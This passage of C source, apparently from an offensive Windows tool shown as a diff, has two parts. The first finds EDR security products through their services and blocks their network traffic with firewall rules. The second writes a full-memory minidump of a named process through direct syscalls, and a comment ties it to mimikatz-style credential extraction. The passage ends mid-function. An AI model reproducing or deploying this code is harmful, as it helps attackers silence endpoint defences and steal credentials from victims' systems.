lpServices = (ENUM_SERVICE_STATUS_PROCESS*)calloc(dwByteCount, sizeof(BYTE));
if (!lpServices) {
_putts_or_not(TEXT("[!] Failed to allocate memory to enumerate services"));
goto cleanup;
}
returnValue = EnumServicesStatusEx(hSCManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_FILE_SYSTEM_DRIVER | SERVICE_KERNEL_DRIVER | SERVICE_WIN32 | SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS, SERVICE_STATE_ALL, (LPBYTE)lpServices, dwByteCount, &dwBytesNeeded, &lpServicesCount, NULL, NULL);
if (!returnValue) {
dwError = GetLastError();
}
else {
dwError = 0;
}
} while (dwError == ERROR_MORE_DATA);
if (dwError != ERROR_SUCCESS) {
_tprintf_or_not(TEXT("[!] Could not enumerate EDR services (EnumServicesStatusEx failed: 0x%08lx)\n"), dwError);
goto cleanup;
}
for (DWORD dwIndex = 0; dwIndex < lpServicesCount; dwIndex++) {
dwByteCount = 0;
dwBytesNeeded = 0;
hService = OpenService(hSCManager, lpServices[dwIndex].lpServiceName, SERVICE_QUERY_CONFIG);
if (!hService) {
_tprintf_or_not(TEXT("[!] Could not open handle on service \"%s\" (\"%s\")\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName);
continue;
}
do {
if (lpServiceConfig) {
free(lpServiceConfig);
lpServiceConfig = NULL;
}
lpServiceConfig = (QUERY_SERVICE_CONFIG*)calloc(dwBytesNeeded, sizeof(BYTE));
if (!lpServiceConfig) {
_putts_or_not(TEXT("[!] Failed to allocate memory to retrieve service configuration"));
goto cleanup;
}
dwByteCount = dwBytesNeeded;
returnValue = QueryServiceConfig(hService, lpServiceConfig, dwByteCount, &dwBytesNeeded);
if (!returnValue) {
dwError = GetLastError();
}
else {
dwError = 0;
}
} while (dwError == ERROR_INSUFFICIENT_BUFFER);
if (dwError != 0) {
_tprintf_or_not(TEXT("[!] Could not query information of service \"%s\" (\"%s\") (QueryServiceConfig failed: 0x%08lx)\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName, dwError);
continue;
}
// If binary path is empty, skip service.
if (lpServiceConfig->lpBinaryPathName[0] == '\0') {
continue;
}
_tcscpy_s(serviceBinaryPathCopy, _countof(serviceBinaryPathCopy), lpServiceConfig->lpBinaryPathName);
// replace \SystemRoot\ with %systemroot%\
TCHAR* prefix = TEXT("\\SystemRoot\\");
SIZE_T prefix_len = _tcslen(prefix);
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
serviceBinaryPathCopy[0] = '%';
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1 - (prefix_len - 1));
memmove(&serviceBinaryPathCopy[prefix_len], &serviceBinaryPathCopy[prefix_len - 1], sizeDisplacement);
serviceBinaryPathCopy[prefix_len - 1] = '%';
}
// Remove \\??\\
prefix = TEXT("\\??\\");
prefix_len = _tcslen(prefix);
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1 - (prefix_len));
memmove(&serviceBinaryPathCopy[0], &serviceBinaryPathCopy[prefix_len], sizeDisplacement);
}
// insert %systemroot%\ before system32\
prefix = TEXT("system32");
prefix_len = _tcslen(prefix);
if (!_tcsnicmp(serviceBinaryPathCopy, prefix, prefix_len)) {
SIZE_T sizeDisplacement = sizeof(TCHAR) * (_tcslen(serviceBinaryPathCopy) + 1);
const TCHAR * new_prefix = TEXT("%SystemRoot%\\");
SIZE_T new_prefix_len = _tcslen(new_prefix);
memmove(&serviceBinaryPathCopy[new_prefix_len], &serviceBinaryPathCopy[0], sizeDisplacement);
memcpy(serviceBinaryPathCopy, new_prefix, new_prefix_len * sizeof(TCHAR));
}
// Remove double quotes (replace "xxxxx" with xxxxx).
TCHAR * positionSpace = NULL;
if (serviceBinaryPathCopy[0] == '"') {
TCHAR * positionSecondQuote = _tcschr(&serviceBinaryPathCopy[1], '"');
memmove(&serviceBinaryPathCopy[0], &serviceBinaryPathCopy[1], sizeof(TCHAR) * (positionSecondQuote - &serviceBinaryPathCopy[1]));
positionSecondQuote[-1] = '\0';
}
else
// Rermove arguments (replace driver.sys -qsdq azkeaze to driver.sys).
if ((positionSpace = _tcschr(serviceBinaryPathCopy, ' ')) != NULL) {
*positionSpace = '\0';
}
returnValue = ExpandEnvironmentStrings(serviceBinaryPathCopy, serviceBinaryPath, _countof(serviceBinaryPath));
if (!returnValue) {
_tprintf_or_not(TEXT("[!] Error while attempting to expand service binary path \"%s\" (ExpandEnvironmentStrings failed: : 0x%08lx)\n"), serviceBinaryPathCopy, GetLastError());
goto cleanup;
}
// check if resulting path is a file, and if it's not missing its extension
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
SIZE_T posExtension = _tcslen(serviceBinaryPath);
_tcscpy_s(serviceBinaryPath + posExtension, _countof(serviceBinaryPath) - posExtension, TEXT(".exe"));
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
_tcscpy_s(serviceBinaryPath + posExtension, _countof(serviceBinaryPath) - posExtension, TEXT(".sys"));
if (GetFileAttributes(serviceBinaryPath) == INVALID_FILE_ATTRIBUTES) {
_tprintf_or_not(TEXT("[!] Did not find service binary '%s' (sanitized path: '%s')\n"), lpServiceConfig->lpBinaryPathName, serviceBinaryPath);
// NB : If unquoted service path -> should also print this error message
continue;
}
}
}
if (isFileSignatureMatchingEDR(serviceBinaryPath) || isDriverPathMatchingEDR(serviceBinaryPath)) {
slistNewFWEntry = calloc(1, sizeof(fwBinaryRules));
if (!slistNewFWEntry) {
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path (slistNewEntry) for service \"%s\"\n"), lpServices[dwIndex].lpServiceName);
goto cleanup;
}
slistNewFWEntry->binaryPath = _tcsdup(serviceBinaryPath);
if (!slistNewFWEntry->binaryPath) {
_tprintf_or_not(TEXT("[!] Couldn't alloc memory for binary path (slistNewEntry->binaryPath) for service \"%s\"\n"), lpServices[dwIndex].lpServiceName);
goto cleanup;
}
fwList_insertSorted(sFWEntries, slistNewFWEntry);
_tprintf_or_not(TEXT("[+] Found EDR binary executed through a service name \"%s\" | path \"%s\"\n"), lpServices[dwIndex].lpServiceName, slistNewFWEntry->binaryPath);
}
if (!CloseServiceHandle(hService)) {
_tprintf_or_not(TEXT("[!] Error while closing service handle (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
goto cleanup;
}
//_tprintf_or_not(TEXT("[*] Found service: name => \"%s\" | Display name => \"%s\".\n"), lpServices[dwIndex].lpServiceName, lpServices[dwIndex].lpDisplayName);
}
if (!CloseServiceHandle(hSCManager)) {
_tprintf_or_not(TEXT("[!] Error while closing handle on the SCM (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
}
free(lpServiceConfig);
lpServiceConfig = NULL;
free(lpServices);
lpServices = NULL;
return 0;
cleanup:
if (hService) {
if (!CloseServiceHandle(hService)) {
_tprintf_or_not(TEXT("[!] Error while closing service handle (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
}
}
if (hSCManager) {
if (!CloseServiceHandle(hSCManager)) {
_tprintf_or_not(TEXT("[!] Error while closing handle on the SCM (CloseServiceHandle failed: 0x%08lx)\n"), GetLastError());
}
}
if (lpServiceConfig) {
free(lpServiceConfig);
lpServiceConfig = NULL;
}
if (lpServices) {
free(lpServices);
lpServices = NULL;
}
return -1;
}
HRESULT FirewallBlockEDR(fwBlockingRulesList* sFWEntries) {
BOOL isElevatedProcess = FALSE;
BOOL firewallIsOn = FALSE;
DWORD ntStatus = 0;
HRESULT hrStatus = S_OK;
isElevatedProcess = IsElevatedProcess();
if (!isElevatedProcess) {
_putts_or_not(TEXT("[!] The current process is not elevated, will not be able to add Firewall rules"));
return E_FAIL;
}
hrStatus = IsFirewallEnabled(&firewallIsOn);
if (FAILED(hrStatus)) {
_putts_or_not(TEXT("[!] Could not configure Firewall EDR blocking rules: an error occured while attempting to determine the FireWall status"));
return E_FAIL;
}
if (!firewallIsOn) {
_putts_or_not(TEXT("[*] The Windows Firewall is NOT active for all active profiles, skipping adding Firewall rules"));
return E_FAIL;
}
_putts_or_not(TEXT("[+] The Windows Firewall is on for all active profiles!"));
_putts_or_not(TEXT("[*] Enumerating EDR processes.."));
ntStatus = EnumEDRProcess(sFWEntries);
if (!NT_SUCCESS(ntStatus)) {
_putts_or_not(TEXT("[!] An error occured while enumerating the EDR processes"));
}
_putts_or_not(TEXT(""));
_putts_or_not(TEXT("[*] Enumerating EDR services.."));
ntStatus = EnumEDRServices(sFWEntries);
if (!NT_SUCCESS(ntStatus)) {
_putts_or_not(TEXT("[!] An error occured while enumerating the EDR services"));
}
_putts_or_not(TEXT(""));
_putts_or_not(TEXT("[*] Blocking EDR found processes / services's binaries..."));
hrStatus = FirewallBlockEDRBinaries(sFWEntries);
if (FAILED(hrStatus)) {
_putts_or_not(TEXT("[!] An error occured while attempting to create Firewall blocking rules for EDR processes / services"));
}
return 0;
}
HRESULT FirewallUnblockEDR(fwBlockingRulesList* sFWEntries) {
BOOL isElevatedProcess = FALSE;
HRESULT hrStatusFinal = S_OK;
HRESULT hrStatusTemp = S_OK;
isElevatedProcess = IsElevatedProcess();
if (!isElevatedProcess) {
_putts_or_not(TEXT("[!] The current process is not elevated, will not be able to remove Firewall rules"));
return E_FAIL;
}
for (fwBinaryRules* fwEntryToDelete = sFWEntries->first; fwEntryToDelete != NULL; fwEntryToDelete = fwEntryToDelete->next) {
hrStatusTemp = DeleteFirewallRule(fwEntryToDelete->ruleInboundName);
if (FAILED(hrStatusTemp)) {
hrStatusFinal = hrStatusTemp;
}
hrStatusTemp = DeleteFirewallRule(fwEntryToDelete->ruleOutboundName);
if (FAILED(hrStatusTemp)) {
hrStatusFinal = hrStatusTemp;
}
}
return hrStatusFinal;
}
void FirewallPrintManualDeletion(fwBlockingRulesList* sFWEntries) {
_putts_or_not(TEXT("[*] The Firewall blocking rules created can be manually deleted using the following commands:"));
for (fwBinaryRules* fwEntryToDelete = sFWEntries->first; fwEntryToDelete != NULL; fwEntryToDelete = fwEntryToDelete->next) {
_tprintf_or_not(TEXT("netsh advfirewall firewall delete rule name=%s\n"), fwEntryToDelete->ruleInboundName);
_tprintf_or_not(TEXT("netsh advfirewall firewall delete rule name=%s\n"), fwEntryToDelete->ruleOutboundName);
}
}
BOOL fwList_isEmpty(fwBlockingRulesList* fwEntries) {
return fwEntries->first == NULL;
};
BOOL fwListElt_isBefore(fwBinaryRules* a, fwBinaryRules* b) {
return _tcscmp(a->binaryPath, b->binaryPath) < 0;
};
void fwList_insertSorted(fwBlockingRulesList* fwEntries, fwBinaryRules* newFWEntry) {
fwBinaryRules* first = fwEntries->first;
// if first element comes after, insert at the head
if (fwList_isEmpty(fwEntries) || fwListElt_isBefore(newFWEntry, first)) {
// insert newFWEntry at the head of the list
newFWEntry->next = fwEntries->first;
fwEntries->first = newFWEntry;
return;
}
// browse list from the start until next element comes after (or is equal to) our new element
fwBinaryRules* ptr;
for (ptr = fwEntries->first;
(ptr->next != NULL) && fwListElt_isBefore(ptr->next, newFWEntry);
ptr = ptr->next);
// if end of the list, or new entry is different to the next one (no duplicate), insert it
if ((ptr->next == NULL) || fwListElt_isBefore(newFWEntry, ptr->next)) {
// insert newFWEntry after ptr
newFWEntry->next = ptr->next;
ptr->next = newFWEntry;
}
else {
// duplicate entry, do nothing
}
}
@@ -0,0 +1,503 @@
#include <Windows.h>
#include <minidumpapiset.h>
#include "ListUtils.h"
#include "RemotePEBBrowser.h"
#include "StringUtils.h"
#include "SyscallProcessUtils.h"
#include "SW2_Syscalls.h"
#include "Undoc.h"
#include "ProcessDumpDirectSyscalls.h"
VOID writeAtRVA(DUMP_CONTEXT* dumpContext, ULONG32 rva, const PVOID data, unsigned size) {
memcpy(GetRVA((ULONG_PTR) dumpContext->BaseAddress, rva), data, size);
}
BOOL appendToDump(DUMP_CONTEXT* dumpContext, const PVOID data, DWORD size) {
ULONG32 newRVA = dumpContext->RVA + size;
if (newRVA < dumpContext->RVA) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: exceeds the 32-bit address space (int overflow)\n"));
return FALSE;
}
else if (dumpContext->DumpMaxSize < newRVA) {
while(dumpContext->DumpMaxSize < newRVA){
dumpContext->DumpMaxSize *= 2;
}
PVOID ptr = realloc(dumpContext->BaseAddress, dumpContext->DumpMaxSize);
if (!ptr) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: reallocation failed\n"));
return FALSE;
}
dumpContext->BaseAddress = ptr;
}
writeAtRVA(dumpContext, dumpContext->RVA, data, size);
dumpContext->RVA = newRVA;
return TRUE;
}
BOOL writeMiniDumpHeader(DUMP_CONTEXT* dumpContext) {
MINIDUMP_HEADER header = { 0 };
header.Signature = dumpContext->Signature;
header.Version = dumpContext->Version | (((DWORD)dumpContext->ImplementationVersion)<<16);
// Only SystemInfoStream, ModuleListStream and Memory64ListStream streams.
header.NumberOfStreams = 3;
header.NumberOfStreams = (header.NumberOfStreams + 3) & ~3; // round up to next multiple of 4, https://github.com/w1u0u1/minidump/blob/main/minidump/minidump.c ?
header.StreamDirectoryRva = sizeof(MINIDUMP_HEADER);
header.CheckSum = 0;
header.Reserved = 0;
header.TimeDateStamp = 0;
header.Flags = MiniDumpWithFullMemory;
if (!appendToDump(dumpContext, &header, sizeof(MINIDUMP_HEADER))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: failed to write dump header\n"));
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCES;
}
DWORD writeMiniDumpDirectories(DUMP_CONTEXT* dumpContext) {
DWORD nbDirectories = 0;
MINIDUMP_DIRECTORY systemInfoDirectory = { 0 };
systemInfoDirectory.StreamType = SystemInfoStream;
systemInfoDirectory.Location.DataSize = 0;
systemInfoDirectory.Location.Rva = 0;
if (!appendToDump(dumpContext, &systemInfoDirectory, sizeof(systemInfoDirectory))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write SystemInfoStream directory\n"));
return STATUS_UNSUCCESSFUL;
}
nbDirectories++;
MINIDUMP_DIRECTORY moduleListDirectory = { 0 };
moduleListDirectory.StreamType = ModuleListStream;
moduleListDirectory.Location.DataSize = 0;
moduleListDirectory.Location.Rva = 0;
if (!appendToDump(dumpContext, &moduleListDirectory, sizeof(moduleListDirectory)))
{
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write ModuleListStream directory\n"));
return STATUS_UNSUCCESSFUL;
}
nbDirectories++;
MINIDUMP_DIRECTORY memory64ListDumpDirectory = { 0 };
memory64ListDumpDirectory.StreamType = Memory64ListStream;
memory64ListDumpDirectory.Location.DataSize = 0;
memory64ListDumpDirectory.Location.Rva = 0;
if (!appendToDump(dumpContext, &memory64ListDumpDirectory, sizeof(memory64ListDumpDirectory))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write Memory64ListStream directory\n"));
return STATUS_UNSUCCESSFUL;
}
nbDirectories++;
while (nbDirectories & 3) {
MINIDUMP_DIRECTORY unusedDirectory = { 0 };
unusedDirectory.StreamType = UnusedStream;
unusedDirectory.Location.DataSize = 0;
unusedDirectory.Location.Rva = 0;
if (!appendToDump(dumpContext, &unusedDirectory, sizeof(unusedDirectory))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write unusedDirectory directory\n"));
return STATUS_UNSUCCESSFUL;
}
nbDirectories++;
}
return STATUS_SUCCES;
}
DWORD writeMiniDumpSystemInfoStream(DUMP_CONTEXT* dumpContext) {
MINIDUMP_SYSTEM_INFO dumpSystemInfo = { 0 };
// read the PEB.
#if _WIN64
PEB64 peb = *(PPEB64) __readgsqword(0x60);
#else
PEB peb = *(PPEB) __readfsdword(0x30);
#endif
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
dumpSystemInfo.ProcessorLevel = sysInfo.wProcessorLevel;
dumpSystemInfo.ProcessorRevision = sysInfo.wProcessorRevision;
dumpSystemInfo.NumberOfProcessors = (BYTE)sysInfo.dwNumberOfProcessors;
dumpSystemInfo.ProductType = VER_NT_WORKSTATION;
dumpSystemInfo.MajorVersion = peb.OSMajorVersion;
dumpSystemInfo.MinorVersion = peb.OSMinorVersion;
dumpSystemInfo.BuildNumber = peb.OSBuildNumber;
dumpSystemInfo.PlatformId = peb.OSPlatformId;
dumpSystemInfo.ProcessorArchitecture = PROCESSOR_ARCHITECTURE;
dumpSystemInfo.CSDVersionRva = 0;
dumpSystemInfo.SuiteMask = VER_SUITE_SINGLEUSERTS;
dumpSystemInfo.Reserved2 = 0;
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] = 0;
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[1] = 0;
for (DWORD i = 0; i < sizeof(dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0]) * 8; i++) {
if (IsProcessorFeaturePresent(i)) {
dumpSystemInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] |= 1LL << i;
}
}
RVA streamRVA = dumpContext->RVA;
ULONG32 streamSize = sizeof(dumpSystemInfo);
if (!appendToDump(dumpContext, &dumpSystemInfo, streamSize)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the SystemInfoStream (stream rva)\n"));
return STATUS_UNSUCCESSFUL;
}
// Append CSDVersion string
#if _WIN64
ULONG32 CSDVersionLength = peb.CSDVersion.uOrDummyAlign.u.Length;
#else
ULONG32 CSDVersionLength = peb.CSDVersion.Length;
#endif
ULONG32 CSDVersionBufferLength = CSDVersionLength + sizeof(WCHAR);
PMINIDUMP_STRING CSDVersion = calloc(1, sizeof(MINIDUMP_STRING) + CSDVersionBufferLength);
if (!CSDVersion) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't allocate CSDVersion string\n"));
return STATUS_UNSUCCESSFUL;
}
CSDVersion->Length = CSDVersionLength;
memcpy(CSDVersion->Buffer, peb.CSDVersion.Buffer, CSDVersionBufferLength);
RVA CSDVersionRVA = dumpContext->RVA;
appendToDump(dumpContext, CSDVersion, sizeof(MINIDUMP_STRING) + CSDVersionBufferLength);
// write our length in the MiniDumpSystemInfo directory
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
// write our RVA in the MiniDumpSystemInfo directory
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
// write the CSDVersion RVA in the SystemInfoStream
writeAtRVA(dumpContext, streamRVA + offsetof(MINIDUMP_SYSTEM_INFO, CSDVersionRva), &CSDVersionRVA, sizeof(CSDVersionRVA));
return STATUS_SUCCES;
}
DWORD writeMiniDumpModuleListStream(DUMP_CONTEXT* dumpContext, PMODULE_INFO pmoduleList) {
PMODULE_INFO currentModule = pmoduleList;
ULONG32 modulesCount = 0;
// Write modules dll metadata (length & path).
while (currentModule) {
modulesCount = modulesCount + 1;
currentModule->nameRVA = dumpContext->RVA;
// Write the module fullname length.
ULONG32 DllFullNameLength = (ULONG32)(wcsnlen((WCHAR*) &currentModule->dllName, sizeof(currentModule->dllName)) + 1) * sizeof(WCHAR);
if (!appendToDump(dumpContext, &DllFullNameLength, 4)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module DllFullName length failed)\n"));
return STATUS_UNSUCCESSFUL;
}
// Write the module fullname length.
if (!appendToDump(dumpContext, currentModule->dllName, DllFullNameLength)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module DllFullName failed)\n"));
return STATUS_UNSUCCESSFUL;
}
currentModule = currentModule->next;
}
// Write the number of modules.
RVA streamRVA = dumpContext->RVA;
if (!appendToDump(dumpContext, &modulesCount, 4)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of number of modules failed)\n"));
return STATUS_UNSUCCESSFUL;
}
// Write the modules data.
currentModule = pmoduleList;
while (currentModule) {
MINIDUMP_MODULE module = { 0 };
module.BaseOfImage = (ULONG_PTR)currentModule->dllBase;
module.SizeOfImage = currentModule->ImageSize;
module.CheckSum = currentModule->checkSum;
module.TimeDateStamp = currentModule->timeDateStamp;
module.ModuleNameRva = currentModule->nameRVA;
module.VersionInfo.dwSignature = 0;
module.VersionInfo.dwStrucVersion = 0;
module.VersionInfo.dwFileVersionMS = 0;
module.VersionInfo.dwFileVersionLS = 0;
module.VersionInfo.dwProductVersionMS = 0;
module.VersionInfo.dwProductVersionLS = 0;
module.VersionInfo.dwFileFlagsMask = 0;
module.VersionInfo.dwFileFlags = 0;
module.VersionInfo.dwFileOS = 0;
module.VersionInfo.dwFileType = 0;
module.VersionInfo.dwFileSubtype = 0;
module.VersionInfo.dwFileDateMS = 0;
module.VersionInfo.dwFileDateLS = 0;
module.CvRecord.DataSize = 0;
module.CvRecord.Rva = 0;
module.MiscRecord.DataSize = 0;
module.MiscRecord.Rva = 0;
module.Reserved0 = 0;
module.Reserved1 = 0;
if (!appendToDump(dumpContext, &module, sizeof(module))) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the ModuleListStream (write of module bytes failed)\n"));
return STATUS_UNSUCCESSFUL;
}
currentModule = currentModule->next;
}
// Write the total length in the ModuleListStream directory.
// header + 1 directory + streamType
ULONG32 streamSize = sizeof(modulesCount) + modulesCount * sizeof(MINIDUMP_MODULE);
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
// Write our RVA in the ModuleListStream directory.
// header + 1 directory + streamType + Location.DataSize
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
return STATUS_SUCCES;
}
DWORD writeMiniDumpMemory64ListStream(DUMP_CONTEXT* dumpContext, PMEMORY_PAGE_INFO pmemoryPages) {
RVA streamRVA = dumpContext->RVA;
PMINIDUMP_MEMORY64_LIST memory64List = calloc(1, sizeof(MINIDUMP_MEMORY64_LIST));
if (!memory64List) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't alloc the Memory64ListStream structure\n"));
return STATUS_UNSUCCESSFUL;
}
// Count the number of memory ranges.
PMEMORY_PAGE_INFO currentMemoryPage = pmemoryPages;
ULONG32 memoryPagesCount = 0;
while (currentMemoryPage) {
memoryPagesCount++;
currentMemoryPage = currentMemoryPage->next;
}
memory64List->NumberOfMemoryRanges = memoryPagesCount;
// Extend the structure to host all ranges
ULONG32 streamSize = sizeof(MINIDUMP_MEMORY64_LIST) + memoryPagesCount * sizeof(MINIDUMP_MEMORY_DESCRIPTOR64);
PMINIDUMP_MEMORY64_LIST tmp = realloc(memory64List, streamSize);
if (!tmp) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't realloc the Memory64ListStream structure\n"));
return STATUS_UNSUCCESSFUL;
}
memory64List = tmp;
// Compute the rva of the actual memory content
RVA64 baseRVA = (RVA64)streamRVA + (RVA64)streamSize;
memory64List->BaseRva = baseRVA;
// Compute the start and size of each memory Page.
currentMemoryPage = pmemoryPages;
SIZE_T indexMemoryRange = 0;
while (currentMemoryPage) {
memory64List->MemoryRanges[indexMemoryRange].StartOfMemoryRange = currentMemoryPage->startOfMemoryPage;
memory64List->MemoryRanges[indexMemoryRange].DataSize = currentMemoryPage->dataSize;
currentMemoryPage = currentMemoryPage->next;
indexMemoryRange++;
}
//Write the actual stream
appendToDump(dumpContext, memory64List, streamSize);
free(memory64List);
memory64List = NULL;
// Write our length in the Memory64ListStream directory.
// header + 2 directories + streamType.
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) * 2 + offsetof(MINIDUMP_DIRECTORY, Location.DataSize), &streamSize, sizeof(streamSize));
// write our RVA in the Memory64ListStream directory
// header + 2 directories + streamType + Location.DataSize
writeAtRVA(dumpContext, sizeof(MINIDUMP_HEADER) + sizeof(MINIDUMP_DIRECTORY) * 2 + offsetof(MINIDUMP_DIRECTORY, Location.Rva), &streamRVA, sizeof(streamRVA));
// dump all the selected memory Pages.
currentMemoryPage = pmemoryPages;
while (currentMemoryPage) {
PBYTE buffer = calloc(currentMemoryPage->dataSize, 1);
if (!buffer) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the Memory64ListStream stream (failed to allocate memory for memory Page)\n"));
return STATUS_UNSUCCESSFUL;
}
NTSTATUS status = NtReadVirtualMemory(dumpContext->hProcess, (PVOID)(ULONG_PTR)currentMemoryPage->startOfMemoryPage, buffer, currentMemoryPage->dataSize, NULL);
// once in a while, a Page fails with STATUS_PARTIAL_COPY, not relevant for mimikatz
if (!NT_SUCCESS(status) && status != STATUS_PARTIAL_COPY) {
_tprintf_or_not(TEXT("[-] Failed to read memory Page: startOfMemoryPage: 0x%p, dataSize: 0x%llx, state: 0x%lx, protect: 0x%lx, type: 0x%lx, NtReadVirtualMemory status: 0x%lx. Continuing anyways...\n"),
(PVOID)(ULONG_PTR)currentMemoryPage->startOfMemoryPage,
currentMemoryPage->dataSize,
currentMemoryPage->state,
currentMemoryPage->protect,
currentMemoryPage->type,
status);
}
if (MAXDWORD < currentMemoryPage->dataSize) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: memory range too big ! Aboring\n"));
return STATUS_UNSUCCESSFUL;
}
if (!appendToDump(dumpContext, buffer, (DWORD)currentMemoryPage->dataSize)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't write the Memory64ListStream stream (failed to write memory Page)\n"));
return STATUS_UNSUCCESSFUL;
}
// Free memory Page (overwrite it first, just in case).
memset(buffer, 0, currentMemoryPage->dataSize);
free(buffer);
buffer = NULL;
currentMemoryPage = currentMemoryPage->next;
}
return STATUS_SUCCES;
}
DWORD SandMiniDumpWriteDump(TCHAR* targetProcessName, WCHAR* dumpFilePath) {
DWORD status = STATUS_UNSUCCESSFUL;
DWORD targetProcessPID = 0;
PMODULE_INFO pmoduleList = NULL;
PMEMORY_PAGE_INFO pmemoryPages = NULL;
HANDLE hDumpFile = NULL;
OBJECT_ATTRIBUTES ObjectAttributesDumpFile = { 0 };
IO_STATUS_BLOCK IoStatusBlock = { 0 };
LARGE_INTEGER AllocationSize = { 0 };
HANDLE htargetProcess = NULL;
OBJECT_ATTRIBUTES ObjectAttributesProcess = { 0 };
status = SandFindProcessPidByName(targetProcessName, &targetProcessPID);
if (!NT_SUCCESS(status) || targetProcessPID == 0) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't find target %s process PID\n"), targetProcessName);
goto cleanup;
}
WCHAR FilePath[MAX_PATH] = { 0 };
const WCHAR prefix[] = L"\\??\\";
memcpy_s(FilePath, sizeof(FilePath), prefix, sizeof(prefix));
UNICODE_STRING dumpFilePathAsUnicodeStr = { 0 };
wcscat_s(FilePath, _countof(FilePath), dumpFilePath);
getUnicodeStringFromTCHAR(&dumpFilePathAsUnicodeStr, FilePath);
// Create the dump file to validate that the output path is correct beforing accessing the process to dump memory.
InitializeObjectAttributes(&ObjectAttributesDumpFile, &dumpFilePathAsUnicodeStr, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = NtCreateFile(&hDumpFile, FILE_GENERIC_WRITE, &ObjectAttributesDumpFile, &IoStatusBlock, &AllocationSize, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (status == STATUS_OBJECT_PATH_NOT_FOUND || status == STATUS_OBJECT_NAME_INVALID) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: the dump file %s path is not valid\n"), FilePath);
goto cleanup;
}
else if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't create empty dump file (NtCreateFile error 0x%x).\n"), status);
goto cleanup;
}
// Open an handle to the process to dump.
InitializeObjectAttributes(&ObjectAttributesProcess, NULL, 0, NULL, NULL);
CLIENT_ID clientId = { 0 };
clientId.ProcessId = UlongToHandle(targetProcessPID);
status = NtOpenProcess(&htargetProcess, PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, &ObjectAttributesProcess, &clientId);
if (status == STATUS_ACCESS_DENIED) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: access denied error while trying to get an handle on the target process (NtOpenProcesserror 0x%x).\n"), status);
goto cleanup;
}
else if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't get an handle to the target process (NtOpenProcess 0x%x).\n"), status);
goto cleanup;
}
// Allocate memory to write the mini dump.
SIZE_T dumpSz = sizeof(MINIDUMP_HEADER); // arbitrary, the allocation size grows at each appendToDump
PVOID dumpBaseAddr = calloc(dumpSz, 1);
if (!dumpBaseAddr) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: couldn't allocate memory for dump file.\n"));
goto cleanup;
}
DUMP_CONTEXT dumpContext = { 0 };
dumpContext.Signature = MINIDUMP_SIGNATURE;
dumpContext.Version = MINIDUMP_VERSION; // | implementation_version << 16
dumpContext.hProcess = htargetProcess;
dumpContext.BaseAddress = dumpBaseAddr;
dumpContext.RVA = 0;
dumpContext.DumpMaxSize = dumpSz;
pmoduleList = getModulesInLdrByInMemoryOrder(htargetProcess);
